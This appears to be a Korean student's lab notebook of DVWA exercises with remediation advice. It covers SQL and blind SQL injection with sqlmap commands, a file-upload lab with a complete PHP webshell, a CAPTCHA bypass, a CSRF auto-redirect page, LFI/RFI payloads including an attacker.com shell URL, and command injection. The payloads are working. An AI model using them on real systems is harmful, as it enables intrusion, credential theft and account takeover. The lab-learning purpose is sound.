• 이는 자바스크립트 안에서 직접 처리할 수도 있고, 보안 라이브러리를 사용할 수도 있다.

✅ 3. 보안 라이브러리 사용 (예: DOMPurify)

var clean = DOMPurify.sanitize(userInput);

• 오픈소스 보안 필터링 도구인 DOMPurify는 신뢰되지 않은 데이터를 안전하게 처리해준다.
• HTML을 쓰면서도 XSS를 막고 싶을 때 매우 유용하다.

✅ 4. Content Security Policy(CSP) 적용

Content-Security-Policy: script-src 'self'

• CSP는 브라우저에게 "이 웹사이트는 어디서 온 자바스크립트만 실행해도 된다"라고 알려주는 보안 설정이다.
• 외부에서 삽입된 <script>는 실행을 차단할 수 있어 추가적인 방어선이 된다.

✅ 5. 자바스크립트로 URL 값 처리 시 항상 주의

var param = new URLSearchParams(window.location.search).get("default");

• URL에서 값을 가져올 때는 단순 split이 아니라 URLSearchParams 같은 안전한 도구를 사용해야 한다.
• 가져온 값은 반드시 검증하거나 필터링한 후에 사용한다.

🧠 정리하자면

✅ 한 줄 요약

DOM XSS를 막기 위해선, 브라우저에서 실행되는 자바스크립트가 사용자 입력을 안전하게 처리하도록 코드 구조를 바꾸는 것이 가장 중요하다.

✅ SQL Injection 취약점의 개념

SQL Injection(구문 삽입 공격)은
웹 애플리케이션이 사용자 입력값을 제대로 검증하지 않고 데이터베이스 쿼리에 그대로 포함시켜 실행하는 취약점입니다.
이로 인해 공격자는 다음과 같은 악의적인 행위를 할 수 있습니다:

• 전체 사용자 정보 열람
• 관리자 계정 탈취
• 비밀번호 해시 탈취 및 복호화
• 데이터 삭제 및 변조
• 서버 권한 획득

SQLi는 보안 상 가장 심각한 취약점 중 하나로, OWASP Top 10에도 꾸준히 포함되고 있습니다.

SQL Injection 실습 기록 (DVWA 환경 기반)

1️⃣ 실습 개요

이번 실습은 DVWA(Damn Vulnerable Web Application)의 SQL Injection 취약점을 활용하여,
사용자 정보 탈취 및 로그인 우회까지의 전 과정을 체험하는 것을 목적으로 진행되었습니다.
보안 수준은 Low로 설정하였으며, SQLi 기본 공격 기법부터 내부 구조 분석, 계정 탈취 및 복호화까지 실습하였습니다.

2️⃣ 사용자 ID 확인 (정상 입력 확인)

DVWA의 SQL Injection 탭에서는 회원 ID를 입력하면 해당하는 사용자의 정보가 출력되는 기능이 제공됩니다.

• 1, 2, 3, 4, 5 입력 시 → 각각의 사용자 정보 정상 출력
• 6 이상의 ID 입력 시 → 정보 없음 또는 오류 발생

→ 이 과정을 통해 DVWA에 등록된 사용자 ID가 1~5까지라는 점을 확인할 수 있었습니다.

3️⃣ SQL 구문 오류 유도: '2 입력

입력값: '2

• 결과: SQL 오류 발생
• 원인: 작은따옴표가 닫히지 않아 SQL 문법이 깨짐

→ 이는 사용자 입력값이 쿼리에 그대로 포함되고 있음을 의미하며,
SQL Injection 취약점이 존재함을 명확하게 시사합니다.

4️⃣ WHERE 절 우회: ' OR 1=1 -- 입력

입력값: ' OR 1=1 --

• OR 1=1은 항상 참이 되는 조건
• --는 SQL 주석으로, 그 뒤의 쿼리(예: 닫히지 않은 ')를 무시

결과:

→ 모든 사용자(ID 1~5)의 정보가 한 번에 출력됨
→ 이는 WHERE user_id = '' OR 1=1 과 같은 쿼리가 실행되었음을 뜻함
✅ 실습 대상 페이지가 입력 필터링 없이 SQL 문에 사용자 입력을 삽입하고 있음을 명확히 확인

5️⃣ ORDER BY를 활용한 컬럼 수 확인

UNION SELECT 구문을 사용하기 위해서는 원래 SELECT 문이 반환하는 컬럼의 수를 파악해야 합니다.

입력값: 1' ORDER BY 1 -- ✅  
입력값: 1' ORDER BY 2 -- ✅  
입력값: 1' ORDER BY 3 -- ❌ (오류)

→ 오류가 발생하는 시점이 3 → 따라서 SELECT문은 2개의 컬럼을 반환함

6️⃣ 시스템 정보 조회 (UNION SELECT 사용)

컬럼 수가 2개라는 점을 이용해 다음과 같이 시스템 정보를 추출할 수 있습니다.

예시1

' UNION SELECT database(), @@hostname --

• database(): 현재 DB 이름
• @@hostname: DB 서버 호스트명

예시2

' UNION SELECT database(), @@version --

• @@version: DBMS 버전 정보

→ 결과: dvwa, kali, 10.6.10-MariaDB+1+b1 등의 내부 시스템 정보 노출 성공

7️⃣ information_schema를 통한 DB 구조 파악

MySQL/MariaDB에는 INFORMATION_SCHEMA라는 메타데이터 DB가 존재합니다.
이곳에는 모든 DB의 구조(스키마, 테이블, 컬럼)가 저장되어 있으며, 이를 통해 전체 DB를 분석할 수 있습니다.

(1) 운영 중인 DB 목록 확인

' UNION SELECT schema_name, null FROM information_schema.schemata --

→ dvwa라는 DB 존재 확인

(2) 테이블 목록 확인

' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema='dvwa' --

→ users, guestbook 테이블 확인

(3) users 테이블의 컬럼 확인

' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users' --

→ user, password, user_id, avatar, ... 등 주요 컬럼 확인

8️⃣ 사용자 계정 정보 추출

위에서 확보한 정보를 바탕으로 users 테이블의 민감 정보를 직접 추출하였습니다.

' UNION SELECT user, password FROM users --

→ 결과:

→ pablo 계정과 해시값으로 암호화된 비밀번호 확보
✅ 이 값을 따로 메모해둡니다.

9️⃣ 비밀번호 해시 복호화

📌 문제

• 로그인 시 pablo / (해시값) 입력 시 로그인 실패
• 이유: 비밀번호가 MD5 해시값으로 암호화되어 저장

🔍 해결 방법

• MD5 해시값: 0d107d09f5bbe40cade3de5c71e9e9b7
• 해당 해시값을 구글 검색으로 사이트를 찾던가 또는 md5decrypt.net 등에 입력

→ 결과: letmein이라는 평문 비밀번호 도출

🔟 로그인 시도 및 성공

• ID: pablo
• PW: letmein

→ DVWA 웹 페이지에서 로그인 시도 → ✅ 로그인 성공

✅ 실습 흐름 요약

1. 정상 입력 탐색 (1~5만 존재)
2. '2 → 오류 발생 → SQL Injection 취약점 탐지
3. ' OR 1=1 -- → 모든 사용자 정보 노출
4. ORDER BY로 컬럼 수 확인 (2개)
5. UNION SELECT로 시스템 정보 획득 (DB 이름, 버전, 호스트명 등)
6. information_schema 통해 DB 구조 분석
7. users 테이블에서 user/password 컬럼 값 탈취
8. password 해시 복호화 → letmein
9. 로그인 시도 → pablo / letmein으로 로그인 성공

실제 시나리오 사례

🧨 사례: 지역 커뮤니티 사이트 ‘우리동네’의 회원 정보 유출 사고

1. 지역 소식을 공유하는 소규모 커뮤니티 사이트 ‘우리동네’는 회원 검색 기능을 제공합니다.
2. 사용자는 /user?id=1과 같이 회원 번호(ID)를 입력해 해당 회원의 닉네임과 활동 정보를 조회할 수 있었습니다.
3. 그러던 중, 한 공격자가 다음과 같은 조작된 입력값을 넣었습니다:

   /user?id=1' OR '1'='1' --

4. 사이트는 입력값을 필터링하지 않았고, 내부 쿼리가 아래처럼 변조되어 실행되었습니다

   SELECT * FROM users WHERE id = '1' OR '1'='1' --';

   
   
5.  그 결과, 전체 회원의 개인정보(이름, 이메일, 닉네임 등)가 한 번에 화면에 노출되었습니다.
6. 공격자는 이를 바탕으로 UNION SELECT 구문을 이용해:
   • information_schema에서 데이터베이스 구조 파악
   • users 테이블에서 ID와 해시화된 비밀번호 추출
   • MD5 복호화 사이트에서 실제 비밀번호 획득
7. 결국 ‘admin’ 계정으로 로그인까지 성공하게 되었고, 운영자 계정으로 커뮤니티 글 삭제, 공지사항 변경, DB 백업 다운로드 등 전체 시스템을 장악하였습니다.
8. 이 사고는 방송통신위원회에도 보고되었고, 운영자는 과징금을 부과받고 웹사이트는 일시 폐쇄되었습니다.

   ---

해결 방안 (예방 조치)

1. Prepared Statement 사용 (가장 권장되는 방법)

• • 사용자 입력값이 SQL 문에 직접 포함되지 않도록 분리하여 쿼리 실행
   

  cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))

  ---

2. 입력값 검증 및 필터링

• • 숫자 입력에는 숫자만 허용 (^[0-9]+$)
  • ', ", --, ; 등 위험 문자 제거
  • 예상 범위 외의 입력은 거부

  ---

3. 오류 메시지 숨김 처리

• • SQL 오류 발생 시, DB 관련 메시지를 사용자에게 노출하지 않음
    (예: Unknown column 'abc' in 'field list' 등은 숨기기)

  ---

4. 데이터베이스 계정 권한 최소화

• • 웹에서 사용하는 DB 계정은 SELECT, INSERT 등 필요한 권한만 부여
  • DROP, GRANT, ALTER 등의 권한은 금지

  ---

5. WAF(웹 방화벽) 적용

• • SQLi 공격 패턴을 자동으로 탐지하고 차단함

✅ Blind SQL Injection 개념

Blind SQL Injection은
일반적인 SQL Injection처럼 쿼리를 삽입하지만, 오류 메시지나 쿼리 결과가 직접적으로 화면에 표시되지 않는 경우에 발생하는 공격 방식입니다.
즉, 웹 애플리케이션이 참/거짓 여부에 따라 응답은 다르게 하지만, 직접적으로 데이터가 노출되지 않을 때, 공격자는 이를 반응의 차이로 판단하며 정보를 추론합니다.

✔️ Blind SQLi는 보통 다음 두 방식 중 하나로 수행됩니다:

• Boolean-based: 조건이 참일 때와 거짓일 때 웹 페이지의 응답이 다르게 나타나는 경우
• Time-based: 조건이 참일 경우 SLEEP() 함수 등으로 서버 지연을 유도하여 응답 시간 차이로 판단

Blind SQL Injection 실습 기록 (DVWA 환경 기반)

1️⃣ Blind SQL Injection 개요

Blind SQL Injection은 일반적인 SQL Injection처럼 에러 메시지나 데이터가 직접적으로 출력되지 않는 환경에서, "참(True)/거짓(False)"의 결과를 기반으로 정보를 유추하는 방식의 공격입니다.
DVWA의 SQLi (Blind) 메뉴에서 이와 같은 공격이 가능하며, 본 실습에서는 이를 수동 및 자동화 방식(SQLMAP)을 병행하여 수행하였습니다.

2️⃣ 수동 Blind SQL Injection 탐지 및 원리 확인

① 정상적인 입력 값으로 존재 여부 확인

입력값: 1
결과: User ID exists in the database.

→ id=1은 데이터베이스에 존재하는 사용자임을 확인
 

입력값: 6
결과: User ID is **missing** from the database.

→ id=6은 존재하지 않음

② 조건문을 통한 논리 추론

다음과 같이 SQL 논리 조건문을 삽입하여 시스템 내부 정보를 유추할 수 있음:

' OR length(database()) = 3 --  
→ 결과: 거짓 (missing from the database)

' OR length(database()) = 4 --  
→ 결과: 참 (User ID exists)

→ 위 결과로부터 현재 데이터베이스 이름의 길이가 4글자임을 유추할 수 있음
길이를 알아냈으면 알파벳을 대입해 데이터베이스의 이름을 알아낼 수 있지만 많은 시간이 걸리기에 자동화 프로그램을(sqlmap 칼리 리눅스에 설치되어 있다) 사용하여 시간을 단축 시킬 수 있다.

③ Burp Suite를 이용한 Request 수집

위 공격을 Burp Suite를 통해 분석하면 다음과 같은 Request가 전송됨:

GET /DVWA/vulnerabilities/sqli_blind/?id=1' or length(database()) = 4 -- &Submit=Submit HTTP/1.1  
Host: localhost  
Cookie: security=low; PHPSESSID=b91170bbac8a725da9bc3a15111dc89a  

이 요청 패턴을 기반으로 SQLMAP에 활용할 수 있음

3️⃣ SQLMAP을 활용한 Blind SQL Injection 자동화 공격

① 현재 DB 이름 확인

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=b91170bbac8a725da9bc3a15111dc89a" \
--current-db

✅ 결과 → 현재 DB 이름은 dvwa

② dvwa 데이터베이스 내 테이블 목록 확인

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=b91170bbac8a725da9bc3a15111dc89a" \
-D dvwa --tables

✅ 결과 → guestbook, users 등 테이블 존재 확인

③ users 테이블의 컬럼 목록 조회

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=b91170bbac8a725da9bc3a15111dc89a" \
-D dvwa -T users --columns

✅ 결과 → 주요 컬럼: user, password, user_id, avatar

④ users 테이블의 전체 데이터 덤프

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=b91170bbac8a725da9bc3a15111dc89a" \
-D dvwa -T users --dump

✅ 결과 → user와 password 데이터 전체 노출
 

덤프란 쉽게 말해 데이터 싹다 꺼내보는 행위를 말한다

4️⃣ 사용자 정보 탈취 및 복호화

• user: smithy
• password (해시): 5f4dcc3b5aa765d61d8327deb882cf99
• 평문 비밀번호: password

다행히 해시값과 비밀번호가 같이 데이터베이스에 입력되어 있다.

5️⃣ 로그인 시도

해당 정보를 바탕으로 DVWA 로그인 페이지에서 다음과 같이 시도:

• ID: smithy
• PW: password

→ 로그인 성공

🔄 전체 실습 흐름 요약

1. Blind SQL Injection을 통해 참/거짓 기반 탐색 진행
2. length(database()) = n 구문으로 DB 이름의 길이 추측
3. Burp Suite로 Request 캡처 → SQLMAP 자동화에 활용
4. SQLMAP으로 DB 이름, 테이블명, 컬럼명, 값까지 자동화로 획득
5. users 테이블에서 smithy 계정과 비밀번호 확인
6. smithy로 로그인 성공

실제 시나리오 사례

🧨 사례: 온라인 쇼핑몰 ‘굿딜’의 내부 데이터 유출 사고

1. 쇼핑몰 ‘굿딜’은 고객의 리뷰 페이지에서 특정 회원 ID로 리뷰를 불러오는 기능이 있었습니다.
2. 공격자는 다음과 같은 URL 요청을 시도해 봅니다:

   https://gooddeal.co.kr/review?id=1

3. 페이지에 아무런 오류 메시지가 없지만, 1번 리뷰가 정상적으로 나옵니다.
   그런데 999번을 넣자 "리뷰가 없습니다" 라는 메시지가 나옵니다.
4. 공격자는 이를 통해 존재 여부만으로 조건 판단이 가능함을 깨닫고, 다음과 같이 Blind SQL Injection 공격을 시도합니다:

   https://gooddeal.co.kr/review?id=1' AND LENGTH(database())=5 --

5. 응답 메시지가 "리뷰가 없습니다"로 바뀌었다면, 조건이 거짓이라는 의미입니다.
   이렇게 응답의 미세한 차이를 반복적으로 실험하여,
   • 데이터베이스 이름의 길이를 유추하고
   • ASCII 코드로 한 글자씩 데이터베이스 이름 확인
   • 테이블 이름, 칼럼 이름, 유저 정보까지 하나씩 추출
6. 심지어 SLEEP(3)과 같은 time-based 방식까지 활용하면, 응답 속도 차이만으로도 데이터를 알아낼 수 있습니다.
7. 결국 공격자는 회원 테이블에서 ID와 비밀번호 해시를 추출했고, MD5 복호화를 통해 실제 관리자 계정을 획득했습니다.
   운영자는 관리자 계정이 유출된 사실조차도 오랫동안 인지하지 못했습니다.

해결 방안

1. Prepared Statement(파라미터 바인딩) 사용

• 사용자 입력이 SQL 쿼리 내에서 문법적으로 해석되지 않도록 분리
• Blind SQLi는 일반 SQLi와 동일한 취약점을 악용하므로 가장 근본적인 방어책

2. 서버 반응 통일화 (에러 메시지 / 응답 시간)

• 존재 여부에 관계없이 동일한 메시지를 출력
• 응답 시간이나 페이지 구성도 최대한 유사하게 처리하여 분석 포인트 차단

3. 입력값 화이트리스트 적용

• 숫자 입력은 숫자만 허용 (예: 정규표현식 ^[0-9]+$)
• 문자열 길이 제한, 특수문자 필터링

4. WAF(웹방화벽) 설정 및 로깅

• Blind SQLi 탐지 기능이 있는 WAF 사용
• 공격 시도로 보이는 패턴에 대해 경고 및 차단 설정
• 의심스러운 URL 요청에 대해 관리자 경고 및 로깅 활성화

5. 보안 테스트 도구 활용

• sqlmap 등 자동화 도구로 정기적 점검
• 블라인드 취약점은 수동 테스트로는 탐지 어려우므로 자동화 스캐닝 필수

파일 업로드 취약점

웹 애플리케이션이 사용자의 파일 업로드를 허용할 때, 업로드된 파일의 형식, 내용, 경로 검증이 미흡하면 공격자는 악성 스크립트를 포함한 파일(PHP, ASP 등)을 업로드하여 원격 코드 실행이나 시스템 침투가 가능하다.

실습 과정

1. 파일 업로드 기능 접근
   • DVWA에서 File Upload 기능으로 이동한다.
2. 업로드 동작 확인
   • 브라우저에서 이미지를 업로드하라는 안내가 있으나, 실제로는 .php 확장자의 스크립트 파일도 업로드가 가능하다.

   • 

3. PHP 웹셸 생성
   • 원래는 weevely 도구로 PHP 웹셸을 만들려고 했으나, Python 버전 및 모듈 이슈로 스킵함.
   • 대신 인터넷에서 제공하는 간단한 웹셸 PHP 코드를 수동으로 작성하고 저장.
   • 예시 명령어:그리고 다음과 같은 내용을 입력:

   • nano webshell.php #파일 생성 및 수정 명령어

   • <?php
     if (php_sapi_name() === 'cli') {
         $cmd = $argv[1] ?? '';
     } else {
         $cmd = $_GET['cmd'] ?? '';
     }
     
     if ($cmd) {
         echo ">> $cmd\n";
         system($cmd);
     } else {
         echo "command: <br/>";
         echo '<form action="">';
         echo '<input type="text" name="cmd">';
         echo '<input type="submit">';
         echo '</form>';
     }
     ?>

4. 파일 업로드
   • 위에서 만든 webshell.php 파일을 업로드.

     

     

     
     
     
   • 업로드가 성공하면 다음과 같은 경로가 안내된다:

     

   • ../../hackable/uploads/webshell.php
   • 해당 디렉터리에서 2칸 위로(../../)
    
5. 웹 브라우저 접근
   • URL창에 다음 주소 입력:
   • http://<서버IP>/DVWA/hackable/uploads/webshell.php

     

     
     
   • 커맨드 입력 폼이 출력되며, 여기에 cat /etc/passwd 등을 입력하면 서버에서 해당 명령이 실행된다.

     

     
     
     
6. 터미널에서 curl로 명령 실행
   • 웹 브라우저 없이도 curl 명령어로 명령 실행이 가능하다.(php파일에 내가 따로 수정해나서)
   • curl "http://<서버IP>/DVWA/hackable/uploads/webshell.php?cmd=cat /etc/passwd"

🎯 공격 시나리오

• 사례: 중소기업 사내 게시판 이미지 업로드 취약점
  1. 사내 게시판에서는 직원들이 프로필 사진을 업로드할 수 있는 기능이 존재함.
  2. 공격자는 .php 확장자의 웹쉘을 이미지로 위장해 업로드함.
  3. 서버는 확장자나 파일 내용을 검증하지 않았기 때문에 공격 파일이 정상적으로 업로드됨.
  4. 업로드된 경로가 예측 가능했고, 공격자는 해당 URL을 통해 웹쉘에 접근.
  5. 서버 내 중요 파일에 접근(cat /etc/passwd), 시스템 권한 확인(whoami), 내부 네트워크 스캔 등으로 침투 범위 확장.
  6. 이후 시스템 전체 탈취, 계정 정보 유출, 랜섬웨어 설치로 이어짐.

대응 방안

1. 스크립트 실행 차단
   • 업로드 디렉토리에 실행 권한을 제거하여, PHP나 쉘 스크립트가 실행되지 않도록 설정한다.
2. 허용된 확장자만 필터링 (화이트리스트)
   • .jpg, .png 등 안전한 확장자만 허용하고, 나머지는 서버 측에서 업로드 차단한다.
3. 업로드 경로 노출 금지
   • 업로드된 파일의 위치(URL)를 외부에 노출하지 않거나 직접 접근을 제한한다.
4. 웹 서버와 파일 저장소 분리
   • 웹서버와 업로드 파일 저장소를 분리하여, 웹서버에서 업로드 파일 실행을 차단한다.

✅ Insecure CAPTCHA 취약점

Insecure CAPTCHA는 비밀번호 변경 등 중요한 작업을 할 때 CAPTCHA 인증을 요구하지만, 인증 절차가 제대로 보호되지 않거나 우회 가능한 구조를 가질 때 발생하는 취약점이다.

• 일반적으로 CAPTCHA는 사용자가 사람이 맞는지 확인하는 절차로, 자동화 공격이나 봇의 접근을 막기 위한 보안 절차이다.
• 하지만 CAPTCHA 검증이 한 번만 이뤄지고, 이후 단계(step 2)에서는 추가 검증 없이 요청을 허용할 경우, 공격자가 해당 요청을 가로채고 변조하여 악의적인 목적으로 재전송할 수 있다.

🧪 실습 과정

1. DVWA에서 "Insecure CAPTCHA" 취약점 페이지로 이동

   

2. 새 비밀번호를 입력하고, Google reCAPTCHA 체크박스를 클릭한 뒤 Change 버튼을 눌러 1단계 요청 전송

   

   
   
3. CAPTCHA를 통과하면 2단계 확인 폼이 뜨고, 다시 Change 버튼을 누르면 최종적으로 비밀번호 변경 요청(step=2)이 전송됨

   

   

   
   
   
4. Burp Suite의 proxy로 통시 과정을 엿 볼 수 있는데 http history에서 post 메서드로 통신한 요청들을 확인한다(DVWA의 URL과 통신한 과정들을 중심으로)

   

5. Burp Suite로 step=2 요청을 https history에서 가로채서 Re-issue(Repeater)로 복사

   

   
   
   
6. 요청의 비밀번호 값을 공격자가 원하는 값 1234->4321으로 수정 후 기존의 세션 쿠키를 유지한 상태에서 Send 요청  

   

   
   
   
   
7. CAPTCHA 없이도 서버는 요청을 수락하고, 비밀번호가 변경됨(클라이언트의 브라우저까지 도달하지 않고 공격자의 프록시에서 요청과 응답으로 비밀 번호를 바꿨다.)

   

8.  다시 로그인창으로 접속해 보면 비밀 번호가 4321로 접속이 되는 걸 볼 수 있다. 

🕵️‍♂️ 공격 시나리오 

🧍 피해자 김씨, 공공 와이파이 환경에서 한 쇼핑몰에 로그인하고 비밀번호를 변경하려 한다.

1. 김씨는 비밀번호 변경 페이지로 이동해 새 비밀번호 입력 + CAPTCHA 인증 후 Change 클릭 → 1단계 요청 전송
2. 2단계 확인 폼이 나타나고, 김씨가 다시 Change 버튼을 클릭해 step=2 요청을 전송
3. 이 와중에 같은 네트워크에 있던 공격자가 Burp Suite를 통해 HTTP 요청을 감청
4. 공격자는 김씨의 step=2 요청을 가로채어 Repeater로 복사
5. password_new와 password_conf 값을 **abcd1234**로 변경하고 Send
6. 서버는 CAPTCHA 재검증 없이 김씨 계정의 비밀번호를 abcd1234로 변경
7. 김씨는 이 사실을 모르고 로그아웃하거나 그대로 사이트를 사용함
8. 공격자는 이후 abcd1234로 해당 계정에 접근 가능

🛡️ 대응 방안

🔒 CSRF 취약점 실습 정리

1. CSRF란?

CSRF(Cross-Site Request Forgery)는 웹 애플리케이션의 보안 취약점 중 하나로,
사용자의 인증 상태를 악용해 공격자가 의도하지 않은 요청을 보내게 만드는 공격입니다.

간단히 말하면,

“로그인 상태인 사용자가 악성 사이트에 접속했을 때, 사용자의 권한으로 특정 명령이 실행되는 것”
입니다.

예를 들어:

• 사용자가 로그인된 상태에서 피싱 사이트를 방문
• 피싱 사이트가 은행 이체 요청을 자동으로 전송
• 사용자는 모르는 사이에 돈이 빠져나감

2. 공격 시나리오

💡 상황 예시:

1. 피해자 A는 웹사이트 example.com에 로그인한 상태입니다.
2. 공격자는 A가 방문할 가능성이 높은 커뮤니티 사이트에 아래와 같은 HTML을 삽입합니다:

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="refresh" content="0; url='http://localhost/DVWA/vulnerabilities/csrf/?password_new=hacked123&password_conf=hacked123&Change=Change'" />
    <title>Redirecting...</title>
</head>
<body>
    <p>wait...</p>
</body>
</html>

1. A가 해당 게시글을 열람하는 순간,
   로그인 쿠키가 포함된 상태로 서버에 비밀번호 변경 요청이 자동 전송됩니다.
2. 결과적으로 A는 자신도 모르게 비밀번호가 변경됩니다.

3. DVWA에서의 실습

🔍 1. 실습 준비 – CSRF 페이지로 이동

DVWA에서 "CSRF" 항목을 선택하고,
보안 수준(Security Level)을 Low로 설정한 상태로 실습을 진행했습니다.

🔐 2. 비밀번호 변경 확인

CSRF 페이지에서 새 비밀번호를 입력하고 전송하면,
화면에 다음과 같은 메시지가 나타납니다:

 

Password Changed.

 

 

그리고 눈여겨볼 점은 주소창(URL)에 이렇게 보인다는 것:→.../vulnerabilities/csrf/?password_new=1234&password_conf=newpass1234&Change=Change

비밀번호 변경 요청이 GET 방식으로 전송되고,
→ 현재 비밀번호 확인 없이 바로 적용된다는 사실을 알 수 있었습니다.

🧰 3. Burp Suite로 요청 분석

✔️ 이 말은 즉,

• 사용자 인증 쿠키만 있다면, 누구든지 이 URL을 호출해서
• 로그인된 사용자의 비밀번호를 강제로 변경할 수 있다는 것!

💣 4. 공격 HTML 제작 (자동 리디렉션)

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="refresh" content="0; url='http://localhost/DVWA/vulnerabilities/csrf/?password_new=hacked123&password_conf=hacked123&Change=Change'" />
    <title>Redirecting...</title>
</head>
<body>
    <p>wait...</p>
</body>
</html>

이 HTML은 meta http-equiv="refresh"를 사용해 0초 후 자동으로 비밀번호 변경 요청을 전송합니다.
즉, 사용자가 이 HTML을

열기만 하면 로그인 상태에서 바로 비밀번호가 바뀌게 됩니다.

이 html파일을 브라우저에 실행시켜준다.

*(주의!) 로그인 상태를 유지한채로 html파일을 실행시켜줘야 한다.

✅ 5. 결과 확인 – 비밀번호 바뀜

• 공격용 HTML을 웹 서버에서 열고 난 뒤,
  다시 DVWA 로그인 페이지로 이동하여 기존 비밀번호로 로그인 시도 → ❌ 실패!
• 새로 바꾼 hacked123 비밀번호로 로그인 시도 → ✅ 성공!
• 실제로 사용자의 비밀번호가 아무 경고 없이 변경되었음을 확인할 수 있었습니다.

📞 실제 공격 시나리오: 비밀번호가 바뀐 채 고객센터에 전화한 피해자

1. 공격자가 쇼핑몰 사이트의 비밀번호 변경 URL 구조를 파악
   •  
     https://shop.com/account/update?password_new=evil123&password_conf=evil123
2. 요청에 CSRF 토큰이나 기존 비밀번호 입력이 없다는 점을 확인
3. 자동 요청 전송용 악성 HTML 페이지 제작
    
4. "이벤트 경품 당첨 확인"이라는 제목으로 HTML 페이지 링크를 메일/커뮤니티에 게시
5. 피해자가 로그인된 상태로 해당 페이지에 접속 → 비밀번호 자동 변경
6. 로그인 실패 후 고객센터에 전화 → 본인도 모르게 비밀번호가 바뀌었음을 인지

5. 대응 방법

CSRF는 방어 방법이 명확한 공격입니다. 실무에서는 다음과 같은 대책이 필요합니다:

✅ CSRF Token 사용
요청 시마다 서버가 발급한 고유 토큰을 포함시켜 검증

✅ Referer, Origin 검증
요청이 유효한 사이트에서 왔는지 확인

✅ SameSite 쿠키 설정
쿠키가 다른 사이트 요청에는 전송되지 않도록 제한

✅ 중요한 요청에는 추가 인증 요구
비밀번호 변경, 계좌 이체 등에는 재인증 또는 이중 확인 절차 요구

🛠 File Inclusion 취약점 실습 정리

1. File Inclusion이란?

File Inclusion(파일 포함 취약점)은 웹 애플리케이션에서 사용자의 입력값을 바탕으로
서버 내부 또는 외부의 파일을 불러와 실행할 수 있을 때 발생하는 보안 취약점입니다.

PHP와 같은 언어에서 흔히 사용되는 include()나 require() 함수가 문제가 되는 경우가 많습니다.

include($_GET['page']); // ← 입력값 검증 없을 시 위험!

2. 공격의 종류

File Inclusion은 크게 두 가지로 나뉩니다:

이 취약점을 이용하면 공격자는 다음과 같은 일을 할 수 있습니다:

• 시스템 설정 파일 열람
• 로그인 소스코드 확인
• 웹 셸 업로드
• 권한 상승 시도

3. DVWA 실습 정리

이번 실습은 DVWA(Damn Vulnerable Web Application)의 File Inclusion 항목에서 진행했습니다.

1.File Inclusion 페이지 진입

• DVWA의 File Inclusion 항목 클릭
• 실습 URL:

http://localhost/DVWA/vulnerabilities/fi/?page=include.php

2.File1 버튼 클릭 → 동적 파일 포함 확인

• 버튼 클릭 시 URL이 다음과 같이 바뀜:
• 사용자의 입력값에 따라 서버가 파일을 동적으로 불러오고 있다는 정황 파악 가능

3.LFI (Local File Inclusion)

?page=../../../../../../../../etc/passwd

• 결과: 시스템 계정 정보가 포함된 /etc/passwd 파일 내용이 브라우저에 출력됨
  → 내부 파일 접근 성공 = LFI 성공
• /etc/passwd는 리눅스의 사용자 계정 정보를 담고 있는 파일
• 이 입력을 통해 서버 파일 시스템에 직접 접근 성공
• root:x:0:0:root:/root:/bin/bash 등 계정 정보가 그대로 노출됨

4. RFI (Remote File Inclusion)

?page=https://google.com

• 결과: 구글 페이지의 HTML이 포함되어 출력됨
  → 원격 파일 포함 성공 = RFI 가능성 확인
• 외부 URL의 콘텐츠를 포함하려는 시도
• PHP 설정(allow_url_include)에 따라 일부 환경에서는 외부 파일이 페이지에 출력됨
• 공격자는 이 기능을 이용해 자신이 만든 악성 PHP 코드를 삽입할 수 있음

4. 실제 공격 시나리오

🕵️‍♂️ 공격자 정우의 시나리오:

1. 쇼핑몰 관리자 페이지에서 ?page=dashboard.php 구조를 확인
2. ?page=../../../../etc/passwd → 민감 파일 노출 확인
3. ?page=http://attacker.com/shell.txt → 원격 쉘 실행 성공
4. 웹 서버에 업로드 권한을 획득 후, 서버 제어 및 내부 정보 탈취

→ 단 하나의 파라미터 조작으로 전체 서버가 뚫림

5. 대응 방법

File Inclusion 취약점은 단순한 실수 하나로도 심각한 피해를 유발할 수 있습니다.
다음과 같은 조치가 필요합니다:

✅ 사용자 입력값을 파일로 직접 사용하지 않기
→ include($_GET['page']); ❌

✅ 화이트리스트 방식으로 파일 제한

$allow = ['home.php', 'contact.php'];
if (in_array($_GET['page'], $allow)) {
    include($_GET['page']);
}

✅ 경로 필터링 (basename() 사용)
→ basename($_GET['page'])를 통해 ../ 제거

✅ PHP 설정 보안화

• allow_url_include = Off
• open_basedir 설정으로 접근 가능한 디렉토리 제한

✅ 실습 개요

본 실습은 DVWA를 기반으로 웹 애플리케이션에서 발생할 수 있는 대표적인 취약점인 Command Injection과 Brute Force 공격을 이해하고 직접 실행해보는 것을 목표로 한다.
보안 레벨을 Low, Medium, High, Impossible 단계로 나누어져 있는데 이번 실습은 low 단계별로 취약점이 어떻게 완화되는지를 비교 분석하였다.

Command Injection

💡 개념

Command Injection은 애플리케이션이 사용자로부터 받은 입력값을 적절히 검증하지 않고 시스템 명령어로 직접 실행할 경우 발생하는 취약점이다.
공격자는 입력값에 쉘 명령어를 삽입하거나 추가함으로써 시스템 내부 정보를 유출하거나 명령을 실행시켜 권한 탈취, 시스템 장악 등의 공격을 시도할 수 있다.

🧪 실습 (Low Level)

DVWA의 Command Injection 페이지는 IP 주소를 입력받아 ping 명령어를 실행하는 구조로 되어 있다.

127.0.0.1

이때 사용자의 입력값을 shell_exec() 함수를 통해 그대로 명령어에 삽입하고 있기 때문에, 공격자가 입력값 뒤에 ;, &&, | 등 쉘 메타문자를 추가함으로써 시스템 명령을 연달아 실행시킬 수 있다..

127.0.0.1 ; ls

현재 디렉토리의 파일 목록을 나열한다

";"는 이전 명령어가 성공하든 실패하든 다음 명령어를 실행하라는 명령어이다.

즉 ping 명령어를 실행하고 현재 디렉토리에 있는 파일 목록을 나열하는 화면을 볼 수 있다.

